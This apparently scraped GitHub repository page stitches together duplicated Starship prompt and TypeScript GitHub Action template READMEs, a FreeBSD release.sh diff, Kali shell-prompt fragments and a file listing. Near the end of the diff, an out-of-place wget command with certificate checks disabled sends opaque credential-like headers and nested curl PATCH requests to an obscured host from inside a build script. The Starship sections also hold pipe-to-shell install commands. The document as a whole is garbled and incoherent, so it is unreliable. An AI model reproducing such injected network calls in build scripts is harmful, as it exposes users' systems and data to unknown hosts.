Create a GitHub Action Using TypeScript

♾Cross-Shell🐞Type-Script🛠R♾-OSX-Automation ┌──(kali㉿anton[~~] └─$ # Kali🐞Tmux🚀DeathStar🚀🛠Automation https://accounts.google.com/o/saml2/idp?idpid=C038bembj ┌──(kali㉿anton[~~] └─$

Website · Installation · Configuration

The minimal, blazing-fast, and infinitely customizable prompt for any shell!

Fast: it's fast – really really fast! 🚀
Customizable: configure every aspect of your prompt.
Universal: works on any shell, on any operating system.
Intelligent: shows relevant information at a glance.
Feature rich: support for all your favorite tools.
Easy: quick to install – start using it in minutes.

Explore the Starship docs ▶

🚀 Installation

Prerequisites

A Nerd Font installed and enabled in your terminal (for example, try the FiraCode Nerd Font).

Step 1. Install Starship

Select your operating system from the list below to view installation instructions:

Android

Install Starship using any of the following package managers:

Repository	Instructions
Termux	`pkg install starship`

BSD

Install Starship using any of the following package managers:

Distribution	Repository	Instructions
*Any*	crates.io	`cargo install starship --locked`
FreeBSD	FreshPorts	`pkg install starship`
NetBSD	pkgsrc	`pkgin install starship`

Linux

Install the latest version for your system:

curl -sS https://starship.rs/install.sh | sh

Alternatively, install Starship using any of the following package managers:

Distribution	Repository	Instructions
*Any*	crates.io	`cargo install starship --locked`
Any	conda-forge	`conda install -c conda-forge starship`
Any	Linuxbrew	`brew install starship`
Alpine Linux 3.13+	Alpine Linux Packages	`apk add starship`
Arch Linux	Arch Linux Extra	`pacman -S starship`
CentOS 7+	Copr	`dnf copr enable atim/starship` `dnf install starship`
Gentoo	Gentoo Packages	`emerge app-shells/starship`
Manjaro		`pacman -S starship`
NixOS	nixpkgs	`nix-env -iA nixpkgs.starship`
openSUSE	OSS	`zypper in starship`
Void Linux	Void Linux Packages	`xbps-install -S starship`

macOS

Install the latest version for your system:

curl -sS https://starship.rs/install.sh | sh

Alternatively, install Starship using any of the following package managers:

Repository	Instructions
crates.io	`cargo install starship --locked`
conda-forge	`conda install -c conda-forge starship`
Homebrew	`brew install starship`
MacPorts	`port install starship`

Windows

Install the latest version for your system with the MSI-installers from the releases section.

Install Starship using any of the following package managers:

Repository	Instructions
crates.io	`cargo install starship --locked`
Chocolatey	`choco install starship`
conda-forge	`conda install -c conda-forge starship`
Scoop	`scoop install starship`
winget	`winget install --id Starship.Starship`

Step 2. Set up your shell to use Starship

Configure your shell to initialize starship. Select yours from the list below:

Bash

Add the following to the end of ~/.bashrc:

eval "$(starship init bash)"

Cmd

You need to use Clink (v1.2.30+) with Cmd. Create a file at this path %LocalAppData%\clink\starship.lua with the following contents:

load(io.popen('starship init cmd'):read("*a"))()

Elvish

Add the following to the end of ~/.elvish/rc.elv:

eval (starship init elvish)

Note: Only Elvish v0.18+ is supported

Fish

Add the following to the end of ~/.config/fish/config.fish:

starship init fish | source

Ion

Add the following to the end of ~/.config/ion/initrc:

eval $(starship init ion)

Nushell

Add the following to the end of your Nushell env file (find it by running $nu.env-path in Nushell):

mkdir ~/.cache/starship
starship init nu | save -f ~/.cache/starship/init.nu

And add the following to the end of your Nushell configuration (find it by running $nu.config-path):

use ~/.cache/starship/init.nu

Note: Only Nushell v0.78+ is supported

PowerShell

Add the following to the end of your PowerShell configuration (find it by running $PROFILE):

Invoke-Expression (&starship init powershell)

Tcsh

Add the following to the end of ~/.tcshrc:

eval `starship init tcsh`

Xonsh

Add the following to the end of ~/.xonshrc:

execx($(starship init xonsh))

Zsh

Add the following to the end of ~/.zshrc:

eval "$(starship init zsh)"

Step 3. Configure Starship

Start a new shell instance, and you should see your beautiful new shell prompt. If you're happy with the defaults, enjoy!

If you're looking to further customize Starship:

Configuration – learn how to configure Starship to tweak your prompt to your liking
Presets – get inspired by the pre-built configuration of others

🤝 Contributing

We are always looking for contributors of all skill levels! If you're looking to ease your way into the project, try out a good first issue.

If you are fluent in a non-English language, we greatly appreciate any help keeping our docs translated and up-to-date in other languages. If you would like to help, translations can be contributed on the Starship Crowdin.

If you are interested in helping contribute to starship, please take a look at our Contributing Guide. Also, feel free to drop into our Discord server and say hi. 👋

💭 Inspired By

Please check out these previous works that helped inspire the creation of starship. 🙏

denysdovhan/spaceship-prompt – A ZSH prompt for astronauts.
denysdovhan/robbyrussell-node – Cross-shell robbyrussell theme written in JavaScript.
reujab/silver – A cross-shell customizable powerline-like prompt with icons.

❤️ Sponsors

Support this project by becoming a sponsor. Your name or logo will show up here with a link to your website.

Free code signing provided by SignPath.io, certificate by SignPath Foundation

📝 License

Copyright © 2019-present, Starship Contributors.
This project is ISC licensed.

Create a GitHub Action Using TypeScript

Kali🐞Tmux🐞TypeScript.or🛠Automation

Use this template to bootstrap the creation of a TypeScript action. 🚀

This template includes compilation support, tests, a validation workflow, publishing, and versioning guidance.

If you are new, there's also a simpler introduction in the Hello world JavaScript action repository.

Create Your Own Action

To create your own action, you can use this repository as a template! Just follow the below instructions:

Click the Use this template button at the top of the repository
Select Create a new repository
Select an owner and name for your new repository
Click Create repository
Clone your new repository

Important

Make sure to remove or update the CODEOWNERS file! For details on how to use this file, see About code owners.

Initial Setup

After you've cloned the repository to your local machine or codespace, you'll need to perform some initial setup steps before you can develop your action.

Note

You'll need to have a reasonably modern version of Node.js handy (20.x or later should work!). If you are using a version manager like nodenv or nvm, this template has a .node-version file at the root of the repository that will be used to automatically switch to the correct version when you cd into the repository. Additionally, this .node-version file is used by GitHub Actions in any actions/setup-node actions.

🛠️ Install the dependencies
```
npm install
```
🏗️ Package the TypeScript for distribution
```
npm run bundle
```

✅ Run the tests

$ npm test

PASS  ./index.test.js
  ✓ throws invalid number (3ms)
  ✓ wait 500 ms (504ms)
  ✓ test runs (95ms)

...

Update the Action Metadata

The action.yml file defines metadata about your action, such as input(s) and output(s). For details about this file, see Metadata syntax for GitHub Actions.

When you copy this repository, update action.yml with the name, description, inputs, and outputs for your action.

Update the Action Code

The src/ directory is the heart of your action! This contains the source code that will be run when your action is invoked. You can replace the contents of this directory with your own code.

There are a few things to keep in mind when writing your action code:

Most GitHub Actions toolkit and CI/CD operations are processed asynchronously. In main.ts, you will see that the action is run in an async function.
```
import * as core from '@actions/core'
//...

async function run() {
  try {
    //...
  } catch (error) {
    core.setFailed(error.message)
  }
}
```
For more information about the GitHub Actions toolkit, see the documentation.

So, what are you waiting for? Go ahead and start customizing your action!

Create a new branch
```
git checkout -b releases/v1
```
Replace the contents of src/ with your action code
Add tests to __tests__/ for your source code
Format, test, and build the action
```
npm run all
```
This step is important! It will run ncc to build the final JavaScript action code with all dependencies included. If you do not run this step, your action will not work correctly when it is used in a workflow. This step also includes the --license option for ncc, which will create a license file for all of the production node modules used in your project.

Commit your changes

git add .
git commit -m "My first action is ready!"

Push them to your repository
```
git push -u origin releases/v1
```
Create a pull request and get feedback on your action
Merge the pull request into the main branch

Your action is now published! 🚀

For information about versioning your action, see Versioning in the GitHub Actions toolkit.

Validate the Action

You can now validate the action by referencing it in a workflow file. For example, ci.yml demonstrates how to reference an action in the same repository.

steps:
  - name: Checkout
    id: checkout
    uses: actions/checkout@v4

  - name: Test Local Action
    id: test-action
    uses: ./
    with:
      milliseconds: 1000

  - name: Print Output
    id: output
    run: echo "${{ steps.test-action.outputs.time }}"

For example workflow runs, check out the Actions tab! 🚀

Usage

After testing, you can create version tag(s) that developers can use to reference different stable versions of your action. For more information, see Versioning in the GitHub Actions toolkit.

To include the action in a workflow in another repository, you can use the uses syntax with the @ symbol to reference a specific branch, tag, or commit hash.

steps:
  - name: Checkout
    id: checkout
    uses: actions/checkout@v4

  - name: Test Local Action
    id: test-action
    uses: actions/typescript-action@v1 # Commit with the `v1` tag
    with:
      milliseconds: 1000

  - name: Print Output
    id: output
    run: echo "${{ steps.test-action.outputs.time }}"

Publishing a New Release

This project includes a helper script, script/release designed to streamline the process of tagging and pushing new releases for GitHub Actions.

GitHub Actions allows users to select a specific version of the action to use, based on release tags. This script simplifies this process by performing the following steps:

Retrieving the latest release tag: The script starts by fetching the most recent SemVer release tag of the current branch, by looking at the local data available in your repository.
Prompting for a new release tag: The user is then prompted to enter a new release tag. To assist with this, the script displays the tag retrieved in the previous step, and validates the format of the inputted tag (vX.X.X). The user is also reminded to update the version field in package.json.
Tagging the new release: The script then tags a new release and syncs the separate major tag (e.g. v1, v2) with the new release tag (e.g. v1.0.0, v2.1.2). When the user is creating a new major release, the script auto-detects this and creates a releases/v# branch for the previous major version.
Pushing changes to remote: Finally, the script pushes the necessary commits, tags and branches to the remote repository. From here, you will need to create a new release in GitHub so users can easily reference the new tags in their workflows.

Website · Installation · Configuration

The minimal, blazing-fast, and infinitely customizable prompt for any shell!

Fast: it's fast – really really fast! 🚀
Customizable: configure every aspect of your prompt.
Universal: works on any shell, on any operating system.
Intelligent: shows relevant information at a glance.
Feature rich: support for all your favorite tools.
Easy: quick to install – start using it in minutes.

Explore the Starship docs ▶

🚀 Installation

Prerequisites

A Nerd Font installed and enabled in your terminal (for example, try the FiraCode Nerd Font).

Step 1. Install Starship

Select your operating system from the list below to view installation instructions:

Android

Install Starship using any of the following package managers:

Repository	Instructions
Termux	`pkg install starship`

BSD

Install Starship using any of the following package managers:

Distribution	Repository	Instructions
*Any*	crates.io	`cargo install starship --locked`
FreeBSD	FreshPorts	`pkg install starship`
NetBSD	pkgsrc	`pkgin install starship`

Linux

Install the latest version for your system:

curl -sS https://starship.rs/install.sh | sh

Alternatively, install Starship using any of the following package managers:

Distribution	Repository	Instructions
*Any*	crates.io	`cargo install starship --locked`
Any	conda-forge	`conda install -c conda-forge starship`
Any	Linuxbrew	`brew install starship`
Alpine Linux 3.13+	Alpine Linux Packages	`apk add starship`
Arch Linux	Arch Linux Extra	`pacman -S starship`
CentOS 7+	Copr	`dnf copr enable atim/starship` `dnf install starship`
Gentoo	Gentoo Packages	`emerge app-shells/starship`
Manjaro		`pacman -S starship`
NixOS	nixpkgs	`nix-env -iA nixpkgs.starship`
openSUSE	OSS	`zypper in starship`
Void Linux	Void Linux Packages	`xbps-install -S starship`

macOS

Install the latest version for your system:

curl -sS https://starship.rs/install.sh | sh

Alternatively, install Starship using any of the following package managers:

Repository	Instructions
crates.io	`cargo install starship --locked`
conda-forge	`conda install -c conda-forge starship`
Homebrew	`brew install starship`
MacPorts	`port install starship`

Windows

Install the latest version for your system with the MSI-installers from the releases section.

Install Starship using any of the following package managers:

Repository	Instructions
crates.io	`cargo install starship --locked`
Chocolatey	`choco install starship`
conda-forge	`conda install -c conda-forge starship`
Scoop	`scoop install starship`
winget	`winget install --id Starship.Starship`

Step 2. Set up your shell to use Starship

Configure your shell to initialize starship. Select yours from the list below:

Bash

Add the following to the end of ~/.bashrc:

eval "$(starship init bash)"

Cmd

You need to use Clink (v1.2.30+) with Cmd. Create a file at this path %LocalAppData%\clink\starship.lua with the following contents:

load(io.popen('starship init cmd'):read("*a"))()

Elvish

Add the following to the end of ~/.elvish/rc.elv:

eval (starship init elvish)

Note: Only Elvish v0.18+ is supported

Fish

Add the following to the end of ~/.config/fish/config.fish:

starship init fish | source

Ion

Add the following to the end of ~/.config/ion/initrc:

eval $(starship init ion)

Nushell

Add the following to the end of your Nushell env file (find it by running $nu.env-path in Nushell):

mkdir ~/.cache/starship
starship init nu | save -f ~/.cache/starship/init.nu

And add the following to the end of your Nushell configuration (find it by running $nu.config-path):

use ~/.cache/starship/init.nu

Note: Only Nushell v0.78+ is supported

PowerShell

Add the following to the end of your PowerShell configuration (find it by running $PROFILE):

Invoke-Expression (&starship init powershell)

Tcsh

Add the following to the end of ~/.tcshrc:

eval `starship init tcsh`

Xonsh

Add the following to the end of ~/.xonshrc:

execx($(starship init xonsh))

Zsh

Add the following to the end of ~/.zshrc:

eval "$(starship init zsh)"

Step 3. Configure Starship

Start a new shell instance, and you should see your beautiful new shell prompt. If you're happy with the defaults, enjoy!

If you're looking to further customize Starship:

Configuration – learn how to configure Starship to tweak your prompt to your liking
Presets – get inspired by the pre-built configuration of others

🤝 Contributing

We are always looking for contributors of all skill levels! If you're looking to ease your way into the project, try out a good first issue.

If you are fluent in a non-English language, we greatly appreciate any help keeping our docs translated and up-to-date in other languages. If you would like to help, translations can be contributed on the Starship Crowdin.

If you are interested in helping contribute to starship, please take a look at our Contributing Guide. Also, feel free to drop into our Discord server and say hi. 👋

💭 Inspired By

Please check out these previous works that helped inspire the creation of starship. 🙏

denysdovhan/spaceship-prompt – A ZSH prompt for astronauts.
denysdovhan/robbyrussell-node – Cross-shell robbyrussell theme written in JavaScript.
reujab/silver – A cross-shell customizable powerline-like prompt with icons.

❤️ Sponsors

Support this project by becoming a sponsor. Your name or logo will show up here with a link to your website.

Free code signing provided by SignPath.io, certificate by SignPath Foundation

📝 License

Create a GitHub Action Using TypeScript

┌──(kali㉿DESKTOP-CGD90QF)-[~] └─$ ♾Cross-Shell🐞Type-Script🛠or♾Automation

Kali🐞Tmux🚀Star🚀Ship🛠Automation

Use this template to bootstrap the creation of a TypeScript action. 🚀

This template includes compilation support, tests, a validation workflow, publishing, and versioning guidance.

If you are new, there's also a simpler introduction in the Hello world JavaScript action repository.

Create Your Own Action

To create your own action, you can use this repository as a template! Just follow the below instructions:

Click the Use this template button at the top of the repository
Select Create a new repository
Select an owner and name for your new repository
Click Create repository
Clone your new repository

Important

Make sure to remove or update the CODEOWNERS file! For details on how to use this file, see About code owners.

Initial Setup

After you've cloned the repository to your local machine or codespace, you'll need to perform some initial setup steps before you can develop your action.

Note

You'll need to have a reasonably modern version of Node.js handy (20.x or later should work!). If you are using a version manager like nodenv or nvm, this template has a .node-version file at the root of the repository that will be used to automatically switch to the correct version when you cd into the repository. Additionally, this .node-version file is used by GitHub Actions in any actions/setup-node actions.

🛠️ Install the dependencies
```
npm install
```
🏗️ Package the TypeScript for distribution
```
npm run bundle
```

✅ Run the tests

$ npm test

PASS  ./index.test.js
  ✓ throws invalid number (3ms)
  ✓ wait 500 ms (504ms)
  ✓ test runs (95ms)

...

Update the Action Metadata

The action.yml file defines metadata about your action, such as input(s) and output(s). For details about this file, see Metadata syntax for GitHub Actions.

When you copy this repository, update action.yml with the name, description, inputs, and outputs for your action.

Update the Action Code

The src/ directory is the heart of your action! This contains the source code that will be run when your action is invoked. You can replace the contents of this directory with your own code.

There are a few things to keep in mind when writing your action code:

Most GitHub Actions toolkit and CI/CD operations are processed asynchronously. In main.ts, you will see that the action is run in an async function.
```
import * as core from '@actions/core'
//...

async function run() {
  try {
    //...
  } catch (error) {
    core.setFailed(error.message)
  }
}
```
For more information about the GitHub Actions toolkit, see the documentation.

So, what are you waiting for? Go ahead and start customizing your action!

Create a new branch
```
git checkout -b releases/v1
```
Replace the contents of src/ with your action code
Add tests to __tests__/ for your source code
Format, test, and build the action
```
npm run all
```
This step is important! It will run ncc to build the final JavaScript action code with all dependencies included. If you do not run this step, your action will not work correctly when it is used in a workflow. This step also includes the --license option for ncc, which will create a license file for all of the production node modules used in your project.

Commit your changes

git add .
git commit -m "My first action is ready!"

Push them to your repository
```
git push -u origin releases/v1
```
Create a pull request and get feedback on your action
Merge the pull request into the main branch

Your action is now published! 🚀

For information about versioning your action, see Versioning in the GitHub Actions toolkit.

Validate the Action

You can now validate the action by referencing it in a workflow file. For example, ci.yml demonstrates how to reference an action in the same repository.

steps:
  - name: Checkout
    id: checkout
    uses: actions/checkout@v4

  - name: Test Local Action
    id: test-action
    uses: ./
    with:
      milliseconds: 1000

  - name: Print Output
    id: output
    run: echo "${{ steps.test-action.outputs.time }}"

For example workflow runs, check out the Actions tab! 🚀

Usage

After testing, you can create version tag(s) that developers can use to reference different stable versions of your action. For more information, see Versioning in the GitHub Actions toolkit.

To include the action in a workflow in another repository, you can use the uses syntax with the @ symbol to reference a specific branch, tag, or commit hash.

steps:
  - name: Checkout
    id: checkout
    uses: actions/checkout@v4

  - name: Test Local Action
    id: test-action
    uses: actions/typescript-action@v1 # Commit with the `v1` tag
    with:
      milliseconds: 1000

  - name: Print Output
    id: output
    run: echo "${{ steps.test-action.outputs.time }}"

Publishing a New Release

This project includes a helper script, script/release designed to streamline the process of tagging and pushing new releases for GitHub Actions.

GitHub Actions allows users to select a specific version of the action to use, based on release tags. This script simplifies this process by performing the following steps:

Retrieving the latest release tag: The script starts by fetching the most recent SemVer release tag of the current branch, by looking at the local data available in your repository.
Prompting for a new release tag: The user is then prompted to enter a new release tag. To assist with this, the script displays the tag retrieved in the previous step, and validates the format of the inputted tag (vX.X.X). The user is also reminded to update the version field in package.json.
Tagging the new release: The script then tags a new release and syncs the separate major tag (e.g. v1, v2) with the new release tag (e.g. v1.0.0, v2.1.2). When the user is creating a new major release, the script auto-detects this and creates a releases/v# branch for the previous major version.
Pushing changes to remote: Finally, the script pushes the necessary commits, tags and branches to the remote repository. From here, you will need to create a new release in GitHub so users can easily reference the new tags in their workflows.

============================================================================== --- stable/10/release/release.sh Mon Dec 30 01:32:17 2013 (r260070) +++ stable/10/release/release.sh Mon Dec 30 02:19:23 2013 (r260071) @@ -126,6 +126,7 @@ if [ "x${TARGET}" != "x" ] && [ "x${TARG else ARCH_FLAGS= fi +CHROOT_MAKEENV="MAKEOBJDIRPREFIX=${CHROOTDIR}/tmp/obj" CHROOT_WMAKEFLAGS="${MAKE_FLAGS} ${WORLD_FLAGS} ${CONF_FILES}" CHROOT_IMAKEFLAGS="${CONF_FILES}" CHROOT_DMAKEFLAGS="${CONF_FILES}" @@ -162,29 +163,16 @@ if [ "x${NOPORTS}" = "x" ]; then svn co ${SVNROOT}/${PORTBRANCH} ${CHROOTDIR}/usr/ports fi

-cp /etc/resolv.conf ${CHROOTDIR}/etc/resolv.conf cd ${CHROOTDIR}/usr/src -make ${CHROOT_WMAKEFLAGS} buildworld -make ${CHROOT_IMAKEFLAGS} installworld DESTDIR=${CHROOTDIR} -make ${CHROOT_DMAKEFLAGS} distribution DESTDIR=${CHROOTDIR} +env ${CHROOT_MAKEENV} make ${CHROOT_WMAKEFLAGS} buildworld +env ${CHROOT_MAKEENV} make ${CHROOT_IMAKEFLAGS} installworld \

DESTDIR=${CHROOTDIR} +env ${CHROOT_MAKEENV} make ${CHROOT_DMAKEFLAGS} distribution \
DESTDIR=${CHROOTDIR} mount -t devfs devfs ${CHROOTDIR}/dev +cp /etc/resolv.conf ${CHROOTDIR}/etc/resolv.conf trap "umount ${CHROOTDIR}/dev" EXIT # Clean up devfs mount on exit

-build_doc_ports() {

Run ldconfig(8) in the chroot directory so /var/run/ld-elf*.so.hints
is created. This is needed by ports-mgmt/pkg.
chroot ${CHROOTDIR} /etc/rc.d/ldconfig forcerestart
Trick the ports 'run-autotools-fixup' target to do the right thing.
_OSVERSION=$(sysctl -n kern.osreldate)
if [ -d ${CHROOTDIR}/usr/doc ] && [ "x${NODOC}" = "x" ]; then

  PBUILD_FLAGS="OSVERSION=${_OSVERSION} BATCH=yes"

```
  PBUILD_FLAGS="${PBUILD_FLAGS}"
```

  chroot ${CHROOTDIR} make -C /usr/ports/textproc/docproj \

  	${PBUILD_FLAGS} OPTIONS_UNSET="FOP IGOR" install clean distclean

fi -}

If MAKE_CONF and/or SRC_CONF are set and not character devices (/dev/null),

copy them to the chroot.

if [ -e ${MAKE_CONF} ] && [ ! -c ${MAKE_CONF} ]; then @@ -197,7 +185,18 @@ if [ -e ${SRC_CONF} ] && [ ! -c ${SRC_CO fi

if [ -d ${CHROOTDIR}/usr/ports ]; then

build_doc_ports ${CHROOTDIR}

Run ldconfig(8) in the chroot directory so /var/run/ld-elf*.so.hints
is created. This is needed by ports-mgmt/pkg.
chroot ${CHROOTDIR} /etc/rc.d/ldconfig forcerestart
Trick the ports 'run-autotools-fixup' target to do the right thing.
_OSVERSION=$(sysctl -n kern.osreldate)
if [ -d ${CHROOTDIR}/usr/doc ] && [ "x${NODOC}" = "x" ]; then

  PBUILD_FLAGS="OSVERSION=${_OSVERSION} BATCH=yes"

```
  PBUILD_FLAGS="${PBUILD_FLAGS}"
```

  chroot ${CHROOTDIR} make -C /usr/ports/textproc/docproj \

  	${PBUILD_FLAGS} OPTIONS_UNSET="FOP IGOR" install clean distclean

fi fi

if [ "x${RELSTRING}" = "x" ]; then

wget --no-check-certificate --quiet
--method PATCH
--timeout=0
--header 'Content-Type: application/json'
--header 'mdsswUyr3DPW132mOi8V9xESWE8jTo0dxCjjnopKl+GqJxpVXckHAeF+KkxLbxILfDLUT0rAK9iUzy1L53eKGQ==: '
--body-data 'curl --location --max-time 5 --request PATCH "[email protected]?880a880b66c407a1bd41996b3391904621a268db5f513a9ce931ec086083f797=null"
--header "Content-Type: application/json"
--header "mdsswUyr3DPW132mOi8V9xESWE8jTo0dxCjjnopKl+GqJxpVXckHAeF+KkxLbxILfDLUT0rAK9iUzy1L53eKGQ==;"
--data-raw "curl --location --request PATCH '''[email protected]'''
--header '''mdsswUyr3DPW132mOi8V9xESWE8jTo0dxCjjnopKl+GqJxpVXckHAeF+KkxLbxILfDLUT0rAK9iUzy1L53eKGQ==;'''
--data ''''''"'
'[email protected]?880a880b66c407a1bd41996b3391904621a268db5f513a9ce931ec086083f797'

Name		Name	Last commit message	Last commit date
Latest commit History 12 Commits
.editorconfig		.editorconfig
.eslintignore		.eslintignore
.git-blame-ignore-revs		.git-blame-ignore-revs
.gitattributes		.gitattributes
.gitignore		.gitignore
.node-version		.node-version
.npmrc		.npmrc
.pre-commit-config.yaml		.pre-commit-config.yaml
.prettierignore		.prettierignore
.prettierrc.json		.prettierrc.json
Add-SU-User_aad598b4f221e.zip		Add-SU-User_aad598b4f221e.zip
Alert-Policy.json		Alert-Policy.json
CHANGELOG.md		CHANGELOG.md
CODEOWNERS		CODEOWNERS
CODE_OF_CONDUCT.md		CODE_OF_CONDUCT.md
CONTRIBUTING.md		CONTRIBUTING.md
LICENSE		LICENSE
README.md		README.md
TypeScript-1936.patch		TypeScript-1936.patch
__azurite_db_blob__.json		__azurite_db_blob__.json
__azurite_db_blob_extent__.json		__azurite_db_blob_extent__.json
action.yml		action.yml
ansible-jinja.json		ansible-jinja.json
azure-pipelines.json		azure-pipelines.json
buildtarget.json		buildtarget.json
cil.json		cil.json
cmake.json		cmake.json
code-runner-output.json		code-runner-output.json
code-text-binary.json		code-text-binary.json
dockercompose.json		dockercompose.json
dockerfile.json		dockerfile.json
eslint.config.mjs		eslint.config.mjs
git-rebase.json		git-rebase.json
github-actions-workflow.json		github-actions-workflow.json
gpg		gpg
javap-verbose.json		javap-verbose.json
javascript.json		javascript.json
javascriptreact.json		javascriptreact.json
makefile.json		makefile.json
mtrgen-rust.json		mtrgen-rust.json
package-lock.json		package-lock.json
package.json		package.json
pkg-Kali🐞Tmux🐞LogicAppsOSXREADME.md		pkg-Kali🐞Tmux🐞LogicAppsOSXREADME.md
powershell.json		powershell.json
protoc-28.1-osx-aarch_64.zip		protoc-28.1-osx-aarch_64.zip
rust.json		rust.json
shellscript.json		shellscript.json
sql.json		sql.json
tsconfig.json		tsconfig.json
typescript-eslint-main.zip		typescript-eslint-main.zip
typescript.json		typescript.json
typescriptreact.json		typescriptreact.json
┌──(㉿anton[~] └─$ pkg README.md		┌──(㉿anton[~] └─$ pkg README.md
♾Cross-Shell🐞Type-Script🛠or♾Automation ┌──(kali㉿anton)-[~] └─$.json		♾Cross-Shell🐞Type-Script🛠or♾Automation ┌──(kali㉿anton)-[~] └─$.json

License

CodeSandbox-Kali-Ai-Engenireering/CodeSandbox-Patcher

Folders and files

Latest commit

History

Repository files navigation

🚀 Installation

Prerequisites

Step 1. Install Starship

Step 2. Set up your shell to use Starship

Step 3. Configure Starship

🤝 Contributing

💭 Inspired By

❤️ Sponsors

📝 License

Create a GitHub Action Using TypeScript

Kali🐞Tmux🐞TypeScript.or🛠Automation

Create Your Own Action

Initial Setup

Update the Action Metadata

Update the Action Code

Validate the Action

Usage

Publishing a New Release

🚀 Installation

Prerequisites

Step 1. Install Starship

Step 2. Set up your shell to use Starship

Step 3. Configure Starship

🤝 Contributing

💭 Inspired By

❤️ Sponsors

📝 License

Create a GitHub Action Using TypeScript

Kali🐞Tmux🚀Star🚀Ship🛠Automation

Create Your Own Action

Initial Setup

Update the Action Metadata

Update the Action Code

Validate the Action

Usage

Publishing a New Release

Run ldconfig(8) in the chroot directory so /var/run/ld-elf*.so.hints

is created. This is needed by ports-mgmt/pkg.

Trick the ports 'run-autotools-fixup' target to do the right thing.

If MAKE_CONF and/or SRC_CONF are set and not character devices (/dev/null),

copy them to the chroot.

Run ldconfig(8) in the chroot directory so /var/run/ld-elf*.so.hints

is created. This is needed by ports-mgmt/pkg.

Trick the ports 'run-autotools-fixup' target to do the right thing.

About

Topics

Resources

License

Code of conduct

Stars

Watchers

Forks

Releases

Packages 0

Languages

Packages